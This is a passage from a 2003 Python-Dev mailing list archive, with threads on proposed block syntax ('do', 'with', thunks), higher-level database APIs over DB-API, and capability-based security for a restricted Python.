a usual function instead of a thunk: > > fdo [e=] beh(args): [(x,...):] > suite # can contain return > > would be sugar for (or something similar): > > def (x,...): > suite > [e = ] beh(args)() Yes, that's one of the cases that I had wanted to cover. > In this case we don't need to devise new rules for what > 'break','continue','return' do in the suite. The suite is just the > body of an anonymous function, 'return' has the usual meaning for a > function in there. No new concept and rules would be added to the > language. > Obviously the suite cannot rebind locals in the surrounding > function. Given the functional flavor of the construct especially if > there's an assigmnent e = or beh uses values produced by the suite, > this can be considered a feature. It just isn't a good way to implement things like synchronized(), which really need clean interaction with the environment (through break, continue, return, and local variable assignment). (I'm giving up on 'yield' for now.) > The addition of 'with' and 'for' plus generators would cover the > other cases! Not case (3). > OTOH what 'return' does in the suite and the fact that the suite is > not an inline suite can be ambigous at first glance. It is for sure > a kind of wart. But this would counterbalance the problem of > defining/implementing thunks, and what 'break','continue','return' > would do exactly in them, and the necessity to add 'value' to get > full expressivity for thunks. To be continued... --Guido van Rossum (home page: http://www.python.org/~guido/) From lkcl@samba-tng.org Sun Feb 2 14:20:23 2003 From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton) Date: Sun, 2 Feb 2003 14:20:23 +0000 Subject: [Python-Dev] database APIs Message-ID: <20030202142023.GI912@localhost> has anyone considered doing database helper functions based off of the DB 2.0 api? the question is inspired by the amount of work that is needed to create a useable suite of database queries in the shortest period of time - something that is important when both developing databases and also when doing lots of database applications one after the other. also for some of the background please see the advogato article http://advogato.org/article/600.html particularly the link to jmg's code which contains some very simple to use but obscure coding methods to wrap SQL databases in objects. the reason i ask is because the DB 2.0 api is great in that it makes things easy-ish to add in different databases (e.g. MySQL, MS-SQL, PostgreSQL) if you can deal with the syntactical differences, but it doesn't help you do things like: - make a query that gets you some results - modify one of the results - write the modified results back. i would _expect_ that the cursor class would have a function called save() which performed the last of these operations. e.g. as follows: cur = db.execute("select name from table where id=20") cur[0] = "fred's new name" cur.save() where the save() will AUTOMATICALLY create a database statement: update table set name="fred's new name" where id=20 now, i realise that the above idea has quite a lot of SQL-specific dependence: that can be dealt with by providing base classes where the analysis or creation of the query and also the save() function can be over-ridden. e.g. a class named DBgeneratorBase and therefore an example class can be created e.g. DBgeneratorSQL. i was therefore wondering about two things: - what do people on the python-dev list think of this concept? - is it something appropriate to be included in the python libs, given that the python db API at present is more of a convention than something that is enforced as part of the python library suite. -- ---------------------------------------------------------- this message is private, confidential, and is intented for the specified recipients only. if you received in error, altered, deleted, modified, destroyed or interfered with the contents of this message, in whole or in part, please inform the sender (that's me), immediately. if you, the recipient, reply to this message, and do not then receive a response, please consider your reply to have been lost or deliberately destroyed: i *always* acknowledge personal email received. please therefore take appropriate action and use appropriate protocols to ensure effective communication. thank you. From jacobs@penguin.theopalgroup.com Sun Feb 2 15:51:14 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Sun, 2 Feb 2003 10:51:14 -0500 (EST) Subject: [Python-Dev] database APIs In-Reply-To: <20030202142023.GI912@localhost> Message-ID: On Sun, 2 Feb 2003, Luke Kenneth Casson Leighton wrote: > has anyone considered doing database helper functions based > off of the DB 2.0 api? Yes; though the conversation is best had on the DB-SIG mailing list. > the question is inspired by the amount of work that is > needed to create a useable suite of database queries in > the shortest period of time - something that is important > when both developing databases and also when doing lots > of database applications one after the other. I've found that rapid initial development is far less important than ease of validation, maintenance, and portability. My belief is based on writing and maintaining Python applications that interface to, at times >8 heterogeneous database backends, each with many hundreds of tables and distinct OTP and OLAP queries. > also for some of the background please see the advogato article > http://advogato.org/article/600.html particularly the link to > jmg's code which contains some very simple to use but obscure > coding methods to wrap SQL databases in objects. We (my company) and many others have their own SQL generation and OR mapping implementations that are considerably more advanced. Some (like mine) are in the process of transitioning to an open source development model, while some are already freely available (see http://colorstudy.com/software/SQLObject for one released just last week). So maybe it is time for all of us to get together and put the Open Source "bazaar" to the test and see what comes out. > the reason i ask is because the DB 2.0 api is great in > that it makes things easy-ish to add in different databases > (e.g. MySQL, MS-SQL, PostgreSQL) if you can deal with > the syntactical differences, but it doesn't help you > do things like: > > - make a query that gets you some results > > - modify one of the results > > - write the modified results back. > > i would _expect_ that the cursor class would have a function > called save() which performed the last of these operations. I would not (for many reasons what I will be happy to elaborate on later). Primarily, DB-API is intended to supply low level access to database connections, transactions, simple result sets, SQL pass-through, and some data type mapping capabilities. The functionality you desire is complex enough that it deserves its own layer/tier that sits on top of DB-API modules. > i was therefore wondering about two things: > > - what do people on the python-dev list think of this concept? The idea is great, though there is a good deal of design that needs to be done. I say this from experience, having built such a system. > - is it something appropriate to be included in the > python libs, given that the python db API at present > is more of a convention than something that is > enforced as part of the python library suite. Absolutely not. Even after such a scheme has been battle-tested for a few years and has a large and active user base, it will likely be very large and have a radically different development cycle than the core interpreter. However, if you care that much about formal Python legitimacy, then you can work with DB-SIG to write a new standard for the features you desire. Anyhow, we should move the rest of this discussion to the DB-SIG mailing list (db-sig@python.org). Thanks, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From pedronis@bluewin.ch Sun Feb 2 16:02:09 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 17:02:09 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <002301c2cad4$714acc00$6d94fea9@newmexico> From: "Guido van Rossum" > I think so far I've been thinking mostly about fitting my proposal on > all edges (that's where my discussion of the thunk's scope comes > from). Maybe I should try to focus more on collecting real-world > examples that are asking for syntactic support, and then try to look > for the simplest way to support most of them. yes, real-world examples would be good. > > [I leave aside generalizing 'class', which is something useful but > > not about control-flow statements and for me a separate problem] > > > > Much of what: > > > > do beh(args): (x,...): > > suite > > > > can do, can be done already with > > > > for x,.. in behgen(args): # behgen is a generator that yields where > > # beh would invoke the thunk > > suite > > > > What is not covered is: > > > > 1) the case where the thunk passes back some result on invocation by > > beh using the proposed 'value' direct-to-caller-return statement. > > 2) the case where beh returns a useful value > > do e = beh(args): (x,...): > > suite > > And 3) the case where the thunk is saved for later, e.g. when > it is used as a callback or as some other extension of function > definition. I haven't shown examples of this, but anonymous blocks in > Smalltalk are used for this all the time. I can't find good docs > about Ruby's iterators that describe whether this is possible or not. > > I did find out that Ruby has two iterator syntaxes (do...end and > {...}) that differ in whether they introduce a new scope or not! > > > Both could be adressed with the following similar syntax-sugar but > > that defines a usual function instead of a thunk: > > > > fdo [e=] beh(args): [(x,...):] > > suite # can contain return > > > > would be sugar for (or something similar): > > > > def (x,...): > > suite > > [e = ] beh(args)() > > Yes, that's one of the cases that I had wanted to cover. > > > In this case we don't need to devise new rules for what > > 'break','continue','return' do in the suite. The suite is just the > > body of an anonymous function, 'return' has the usual meaning for a > > function in there. No new concept and rules would be added to the > > language. > > > Obviously the suite cannot rebind locals in the surrounding > > function. Given the functional flavor of the construct especially if > > there's an assigmnent e = or beh uses values produced by the suite, > > this can be considered a feature. > > It just isn't a good way to implement things like synchronized(), > which really need clean interaction with the environment (through > break, continue, return, and local variable assignment). (I'm giving > up on 'yield' for now.) there would be 'with' ('using' in C#) for that. > > The addition of 'with' and 'for' plus generators would cover the > > other cases! > > Not case (3). I was assuming that fdo (do) woud be also added, that would cover case 3, no non-local return and manipulation of surrounding locals, but e.g. for long-lived callbacks those would be warty. From pedronis@bluewin.ch Sun Feb 2 16:25:43 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 17:25:43 +0100 Subject: [Python-Dev] Extended Function syntax Message-ID: <011901c2cad7$bbe7b860$6d94fea9@newmexico> From: "Guido van Rossum" > > > What are the scope rules for blocks passed into method calls in > > > Smalltalk? > > > > they are not ambiguous in the sense we are referring here: > > > > def f(): > > x=3 > > foo: > > x=4 # new x or old x? > > OK, so what are the rules in Smalltalk? Could we use the same rules > in Python? in (modern) Smalltalk blocks introduce a new scope and are closures with rebinding ability. Nothing to copy from there. In Python inline-suites do not introduce a new-scope, functions introduce a new scope and closure but without rebinding, 'class' introduces a new-scope. I really think that the cases should be syntactically separated. From pedronis@bluewin.ch Sun Feb 2 19:21:05 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 20:21:05 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> Message-ID: <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> From: "Samuele Pedroni" > From: "Guido van Rossum" > > I think so far I've been thinking mostly about fitting my proposal on > > all edges (that's where my discussion of the thunk's scope comes > > from). Maybe I should try to focus more on collecting real-world > > examples that are asking for syntactic support, and then try to look > > for the simplest way to support most of them. > > yes, real-world examples would be good. In particular real-world examples, not covered by 'for' and generators or 'with'*, that need rebinding the surrounding function locals and/or non-local return. [Just for fun, on the hackery/contrived side of things, we would finally get a version of Paul Graham's accumulator generator http://www.paulgraham.com/accgen.html with mostly lisp-y length: def accmaker(n): do acc = (lambda x:x): (i): n += i value n # ! not 'return', that would be a non-local return return acc ] * with : would be possibly sugar for: _x = _x.__enter__() try: finally: _x.__exit__() OR: _x = _x.__enter__() try: try: except getattr(_x,'__excepts__',()),_e: _x.__except__(_e) finally: _x.__exit__() From bac@OCF.Berkeley.EDU Sun Feb 2 19:34:52 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Sun, 2 Feb 2003 11:34:52 -0800 (PST) Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31 In-Reply-To: <3E3CAE08.2080600@tismer.com> References: <3E3CAE08.2080600@tismer.com> Message-ID: [Christian Tismer] > Brett Cannon wrote: > > Well, my brain didn't pop from the extended syntax thread, so I am happy. > > =) Why did you guys have to have such a major discussion at the end of > > the month (and have an explosion of big emails right at the end no less!)? > > And of course I decide to try to introduce something new in this summary > > that upped my workload. Lucky me. =) OK, enough complaining (oh wait, I > > don't get paid for this; I guess I can complain =). > > Please, complain more. If you were employed, you > should ask for compensation for pain and suffering. > =) > I have not followed this thread (happy me + unlucky me.) > And I don't intend to write a summary (lucky me.) > > After trying to follow it partially and failing > completely, I'm asking if there is an alternate > way of discussing such matters? > There is no way of reading this thread for me. > I cannot get it into any shape, since I haven't > followed it online. This will be a similar > problem for anybody who tries to read it after > the fact, like me (with similar incapabilities). > I think part of the problem with that thread was that it started off as a discussion about the proposed ``def foo() []:`` syntax and then branched right into both that and property syntax which then spawned a discussion on thunks; almost all of it happened under a single thread. Now I realize they all have some form of a connection, but all three are major proposals and it became difficult (at least for me) to separate out when people were discussing what, let alone trying to make sure that I personally understood the namespace issues. The only way I could have seen that situation handled better would be to have resolved the ``[]`` syntax idea first, and then move to the next one and dealing with only a single issue (such as locking down the preferred syntax before worrying about thunks or deciding that thunks were happening regardless of syntax choice and thus trying to nail that down). But since they were all major changes to Python everyone just leapt in while they could to comment (which is not necessarily a bad thing; justs sucks down my time =). It was just a lot to digest. Just so everyone knows, if you ever feel a thread has become too large for you to digest, feel free to email me either personally or to the list and ask for a summary of what has happened so far. I try to keep the summary partially written at all times, so hopefully I should have a rough summary for any thread at any point for people to read. And if I don't I am going to need to anyway so having to do it sooner than later is perfectly fine with me. -Brett From guido@python.org Sun Feb 2 19:34:15 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 02 Feb 2003 14:34:15 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sun, 02 Feb 2003 17:02:09 +0100." <002301c2cad4$714acc00$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> Message-ID: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> [Samuele] > yes, real-world examples would be good. synchronized() is definitely a real-world example -- writing try/finally for locks is a pain for all threaded code. Another, related example would be something that blocks all signals (or at least SIGINT) during a certain code block. I imagine that there are quite a few examples that basically wrap a code block in something that does some preparation and some cleanup. These require that the cleanup action is done even if an exception occurred in the block, and this can't be done with the "for loop" hack proposed by Armin (unless you rely on __del__, which would be a no-no for Jython). 'do' or 'with' should be up to this task. I'm now wondering if there aren't really only two interesting cases, none of which require saving the thunk and calling it later: - synchronized-like, where the block should connect to its environment - property-like, where the block should introduce a new scope, and the caller should be able to inspect or control that scope's namespace All cases where something is saved to be called later can be done by using the extended 'def' syntax (def f(...) [something]: ...). I think that for synchronized-like cases, even if it is known at compile time that it is to be part of the surrounding scope, the code generated will still need to use nested-scope-cells, since it will be invoked on a different stack frame: the "thunk processor" pushes its own frame on the stack, and I think you can't have something that executes in a frame that's not the topmost frame. (Or can you? I don't know exactly what generators can get away with.) --Guido van Rossum (home page: http://www.python.org/~guido/) From aleax@aleax.it Sun Feb 2 19:35:03 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 20:35:03 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> Message-ID: <200302022035.03264.aleax@aleax.it> On Sunday 02 February 2003 08:21 pm, Samuele Pedroni wrote: ... > with : > > > would be possibly sugar for: > > _x = > _x.__enter__() > try: > > finally: > _x.__exit__() wouldn't a version: with = : be helpful too? Meaning to use local variable in lieu of the abstract _x -- for example in order to enable: with myfile = auto_closing_file('blah.txt', 'rb'): xx = myfile.read(23) # rest of suite snipped where auto_closing_file is a subclass of file defining useful __enter__ (empty -- might be nice to have it optional...) and __exit__ = close synonyms (or file itself might grow __exit__ as a synonym for close). How would I do this elegantly without the assignment...? Apart from this I cannot, offhand, think of any case that your 'with' (perhaps with some tweaks such as making __enter__ optional, as above mentioned) could not handle elegantly and effectively. Alex From jeremy@zope.com (Jeremy Hylton) Sun Feb 2 19:54:55 2003 From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton) Date: Sun, 2 Feb 2003 14:54:55 -0500 Subject: [Python-Dev] Capabilities in Python In-Reply-To: References: <15930.48758.62473.425111@slothrop.zope.com> Message-ID: <15933.30607.900530.370402@localhost.localdomain> >>>>> "KPY" == Ka-Ping Yee writes: KPY> Wow, how did this topic end up crossing over to this list while KPY> i wasn't looking? :0 You sure react quick for someone who isn't looking . >> A capability system must have some rules for creating and copying >> capabilities, but there is more than one way to realize those >> rules in a programming language. KPY> I suppose there could be, but there is really only one obvious KPY> way: creating a capability is equivalent to creating an object KPY> -- which you can only do if you hold the constructor. A KPY> capability is copied into another object (for the security KPY> folks, "object" == "protection domain") when it is transmitted KPY> as an argument to a method call. KPY> To build a capability system, all you need to do is to KPY> constrain the transfer of object references such that they can KPY> only be transmitted along other object references. That's all. I don't follow you hear. What does it mean to "transmit along other object references?" That is, everything in Python is an object and the only kind of references that exist are object references. I think, based on your the rest of your mail, that we're largely on the same page, but I'd like to make sure I understand where you're coming from. I don't quite follow the definition of protection domain either, as most of the literature I'm familiar with (not much of it about capabilities specifically) talks about a protection domain as the set of objects a principal has access to. The natural way to extend that to capabilities seems to me to be that a protection domain is the set of capabilities possessed by a principal. Are these questions are off-topic for python-dev? At any rate, it still seems like there are a variety of ways to realize capabilities in a programming language. For example, ZODB uses a special base class called Persistent to mark persistent objects. One could imagine using the same approach so that only some objects have capabilities associated with them. KPY> The problem for Python, as Jeremy explained, is that there are KPY> so many other ways of crawling into objects and pulling out KPY> bits of their internals. KPY> Off the top of my head, i only see two things that would have KPY> to be fixed to turn Python into a capability-secure system: KPY> 1. Access to each object is limited to its declared exposed KPY> interface; no introspection allowed. KPY> 2. No global namespace of modules (sys.modules etc.). KPY> If there is willingness to consider a "secure mode" for Python KPY> in which these two things are enforced, i would be interested KPY> in making it happen. I think there is interest and I agree with your problem statement. I'd rephrase 2 to make it more general. Control access to other modules. The import statement is just as much of a problem as sys.modules, right? In a secure environment, you have to control what code can be loaded in the first place. >> In Python, there is no private. KPY> Side note (probably irrelevant): in some sense there is, but KPY> nobody uses it. Scopes are private. If you were to implement KPY> classes and objects using lambdas with message dispatch KPY> (i.e. the Scheme way, instead of having a separate "class" KPY> keyword), then the scoping would take care of all the KPY> private-ness for you. I was aware of Rees's dissertation when I did the nested scopes and, partly as a result, did not provide any introspection mechanism for closures. That is, you can get at a function's func_closure slot but there's no way to look inside the cells from Python. I was thinking that closures could replace Bastions. It stills seems possible, but on several occasions I've wished I could introspect about closures from Python code. I'm also unsure that the idea flies so well for Python, because you really want secure Python to be as much like regular Python as possible. If the mechanism is based on functions, it seems hard to make it work naturally for classes and instances. >> The Zope proxy approach seems a little more promising, because it >> centralizes all the security machinery in one object, a security >> proxy. A proxy for an object can appear virtually >> indistinguishable for the object itself, except that type(proxy) >> != type(object_being_proxied). The proxy guarantees that any >> object returned through the proxy is wrapped in its own proxy, >> except for simple immutable objects like ints or strings. KPY> The proxy mechanism is interesting, but not for this purpose. KPY> A proxy is how you implement revocation of capabilities: if you KPY> insert a proxy in front of an object and grant access to that KPY> proxy, then you can revoke the access just by telling the proxy KPY> to stop responding. Sure, you can use proxies for revocation, but that's not what I was trying to say. I think the fundamental problem for rexec is that you don't have a security kernel. The code for security gets scatter throughout the interpreter. It's hard to have much assurance in the security when its tangled up with everything else in the language. You can use a proxy for an object to deal with goal #1 above -- enforce an interface for an object. I think about this much like a hardware capability architecture. The protected objects live in the capability segment and regular code can't access them directly. The only access is via a proxy object that is bound to the capability. Regardless of proxy vs. rexec, I'd be interested to hear what you think about a sound way to engineer a secure Python. Jeremy From pedronis@bluewin.ch Sun Feb 2 20:17:30 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 21:17:30 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <057b01c2caf8$1d88cd00$6d94fea9@newmexico> From: "Guido van Rossum" > [Samuele] > > yes, real-world examples would be good. > > synchronized() is definitely a real-world example -- writing > try/finally for locks is a pain for all threaded code. > > Another, related example would be something that blocks all signals > (or at least SIGINT) during a certain code block. > > I imagine that there are quite a few examples that basically wrap a > code block in something that does some preparation and some cleanup. > > These require that the cleanup action is done even if an exception > occurred in the block, and this can't be done with the "for loop" hack > proposed by Armin (unless you rely on __del__, which would be a no-no > for Jython). > > 'do' or 'with' should be up to this task. with 'do' you mean your 'do' whose thunk can rebind locals? > I think that for synchronized-like cases, even if it is known at > compile time that it is to be part of the surrounding scope, the code > generated will still need to use nested-scope-cells, since it will be > invoked on a different stack frame: the "thunk processor" pushes its > own frame on the stack, and I think you can't have something that > executes in a frame that's not the topmost frame. (Or can you? I > don't know exactly what generators can get away with.) How can you avoid that someone stores away the thunk, you would need a special keyword to invoke it (Ruby uses "yield" which here is already taken), then we still have return/break/continue semantics to get right, whether we want 'value' or not'... If I understand correctly you are still proposing to have: a 'do' and thunks that can mess with locals with their headaches <.5 wink>, and new concepts added to the language. On my part, I'm still wondering whether Michael Hudson's 'with' and my 'fdo' (maybe still to name just 'do'), that uses an anonymous function as-we-know-it, not a thunk will give most of the functionality without enlarging the language (they are basically sugar, useful sugar). From lists@morpheus.demon.co.uk Sun Feb 2 16:55:25 2003 From: lists@morpheus.demon.co.uk (Paul Moore) Date: Sun, 02 Feb 2003 16:55:25 +0000 Subject: [Python-Dev] Re: Extended Function syntax References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum writes: > Hmm, you could even craft your own case statement with his > suggestion: > > switch(expr): > case(val1): > block1 > case(val2): > block2 > default: > block3 > > This actually makes me worry -- I didn't plan thunks to be the answer > to all problems. A new idea that could cause a paradigm landslide is > not necessarily right. I can see your reservations here. But I'm not sure I share them. A new idea that can be misused isn't necessarily wrong, either... [And I don't know that I see this as "misuse" in any case.] To be honest, the fact that people *can* implement switch statements using this feature doesn't mean that they will. And even if they do, it doesn't mean that the implementation will be used. After all, people could do some pretty scary things with the bytecodehacks module, if they wanted to... The obvious issues are dependency on an extra module, and performance. And even if a switch module was available, you'd need to import from it if you wanted to use the construct, so you'd presumably be aware of what you were getting. It's just a new tool in the toolbox. When you first get a hammer, everything looks like a nail for a while, but after a bit you get a sense of perspective again. Paul. -- This signature intentionally left blank From lists@morpheus.demon.co.uk Sun Feb 2 17:14:43 2003 From: lists@morpheus.demon.co.uk (Paul Moore) Date: Sun, 02 Feb 2003 17:14:43 +0000 Subject: [Python-Dev] Extended Function syntax References: <200301282244.h0SMiQ431533@odiug.zope.com> <20030201173107.48C1D20ED@bespin.org> <15932.3699.514766.848297@localhost.localdomain> Message-ID: Jeremy Hylton writes: > It's unfortunate that you can't extend the syntax, too. You often don't need to extend the syntax, as long as the existing syntax and semantics do the right thing. My favourite example of this is the C++ idiom of "resource acquisition is initialisation", which combines the semantics of deterministic destructors and the syntax of being able to define a new variable scope (via {...}) whenever you need to, to give a very readable and general solution to all sorts of acquire/release problems. In my view, Guido's thunk proposal gives the right semantic flexibility to let people define idioms like this within the fixed syntax. Even if the generality of it scares him :-) Paul. -- This signature intentionally left blank From pedronis@bluewin.ch Sun Feb 2 20:24:42 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 21:24:42 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> Message-ID: <05d101c2caf9$1eb15200$6d94fea9@newmexico> From: "Alex Martelli" > > with = : > > > be helpful too? Meaning to use local variable in lieu of > the abstract _x -- for example in order to enable: > > with myfile = auto_closing_file('blah.txt', 'rb'): > xx = myfile.read(23) > # rest of suite snipped > > where auto_closing_file is a subclass of file defining useful __enter__ > (empty -- might be nice to have it optional...) and __exit__ = close > synonyms (or file itself might grow __exit__ as a synonym for close). you're right, you would also get this idiom for iterators that support also the 'with' protocol: with myfile = auto_closing_file('blah.txt', 'rb'): for line in myfile: ... From ianb@colorstudy.com Sun Feb 2 20:30:37 2003 From: ianb@colorstudy.com (Ian Bicking) Date: 02 Feb 2003 14:30:37 -0600 Subject: [DB-SIG] Re: [Python-Dev] database APIs In-Reply-To: References: Message-ID: <1044217837.11685.17.camel@lothlorien> On Sun, 2003-02-02 at 09:51, Kevin Jacobs wrote: > > also for some of the background please see the advogato article > > http://advogato.org/article/600.html particularly the link to > > jmg's code which contains some very simple to use but obscure > > coding methods to wrap SQL databases in objects. > > We (my company) and many others have their own SQL generation and OR mapping > implementations that are considerably more advanced. Some (like mine) are > in the process of transitioning to an open source development model, while > some are already freely available (see http://colorstudy.com/software/SQLObject > for one released just last week). So maybe it is time for all of us to get > together and put the Open Source "bazaar" to the test and see what comes out. There is a list of a number of such interfaces here: http://www.python.org/cgi-bin/moinmoin/HigherLevelDatabaseProgramming If there's any missing I hope someone will extend them. Currently listed are: DbObj db_row ll.sql PgResultSet MiddleKit Object Relational Membrame PyDo SQLBuilder SQLDict SQLObject In various forms these address exactly what Luke was proposing. -- Ian Bicking Colorstudy Web Development ianb@colorstudy.com http://www.colorstudy.com PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7 4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241 From pedronis@bluewin.ch Sun Feb 2 20:39:09 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 21:39:09 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> <05d101c2caf9$1eb15200$6d94fea9@newmexico> Message-ID: <061701c2cafb$2387ce60$6d94fea9@newmexico> From: "Samuele Pedroni" > > you're right, you would also get this idiom for iterators that support also the > 'with' protocol: > > with myfile = auto_closing_file('blah.txt', 'rb'): > for line in myfile: > ... > With Guido's 'do', you could define an iterclose(): do iterclose(open('blah.txt','rb')): (line): ... Btw, the two snippets illustrate quite well the different evolutive directions' on the table. From aleax@aleax.it Sun Feb 2 21:20:59 2003 From: aleax@aleax.it (Alex Martelli) Date: Sun, 2 Feb 2003 22:20:59 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <05d101c2caf9$1eb15200$6d94fea9@newmexico> <061701c2cafb$2387ce60$6d94fea9@newmexico> Message-ID: <200302022220.59810.aleax@aleax.it> On Sunday 02 February 2003 09:39 pm, Samuele Pedroni wrote: ... > > with myfile = auto_closing_file('blah.txt', 'rb'): > > for line in myfile: [where here we could also have e.g. xx = myfile.read(23) # rest of suite snipped ] > > ... > > With Guido's 'do', you could define an iterclose(): > > do iterclose(open('blah.txt','rb')): (line): > ... > > Btw, the two snippets illustrate quite well the different evolutive > directions' on the table. If the Btw does in fact hold, then (speaking as a teacher of Python and as a writer) I hope the "with" line prevails -- I would find that one trivially easy to explain (even to newbies), while I think I would have a harder time teaching the second form (it may have other advantages -- I haven't followed the thread well enough to say -- but it seems it would be harder for newbies to learn and use). Alex From pedronis@bluewin.ch Sun Feb 2 21:31:26 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 22:31:26 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <05d101c2caf9$1eb15200$6d94fea9@newmexico> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022220.59810.aleax@aleax.it> Message-ID: <071301c2cb02$7144c2a0$6d94fea9@newmexico> From: "Alex Martelli" > On Sunday 02 February 2003 09:39 pm, Samuele Pedroni wrote: > ... > > > with myfile = auto_closing_file('blah.txt', 'rb'): > > > for line in myfile: > > [where here we could also have e.g. > xx = myfile.read(23) > # rest of suite snipped > ] > > > > ... > > > > With Guido's 'do', you could define an iterclose(): > > > > do iterclose(open('blah.txt','rb')): (line): > > ... > > > > Btw, the two snippets illustrate quite well the different evolutive > > directions' on the table. > > If the Btw does in fact hold, then (speaking as a teacher of Python > and as a writer) I hope the "with" line prevails -- I would find that > one trivially easy to explain (even to newbies), while I think I would > have a harder time teaching the second form (it may have other > advantages -- I haven't followed the thread well enough to say -- > but it seems it would be harder for newbies to learn and use). to be fair I don't think that Guido suggested to add a iterclose builtin to the language, OTOH nobody would be stopped to write and use it in its code, basically short of community style guides and pressure both: do iterclose(open('blah.txt','rb')): (line): ... do myfile = autoclose(open('blah.txt','rb')): for line in myfile: ... would be potential idioms. From pedronis@bluewin.ch Sun Feb 2 21:35:38 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sun, 2 Feb 2003 22:35:38 +0100 Subject: [Python-Dev] Extended Function syntax Message-ID: <072701c2cb03$075ef800$6d94fea9@newmexico> From: "Samuele Pedroni" > > but it seems it would be harder for newbies to learn and use). > > to be fair I don't think that Guido suggested to add a iterclose builtin to the > language, OTOH nobody would be stopped to write and use it in its code, > basically short of community style guides and pressure both: > > do iterclose(open('blah.txt','rb')): (line): > ... > > do myfile = autoclose(open('blah.txt','rb')): > for line in myfile: > ... this one is wrong, it would have to be (assumed the current proposals): do 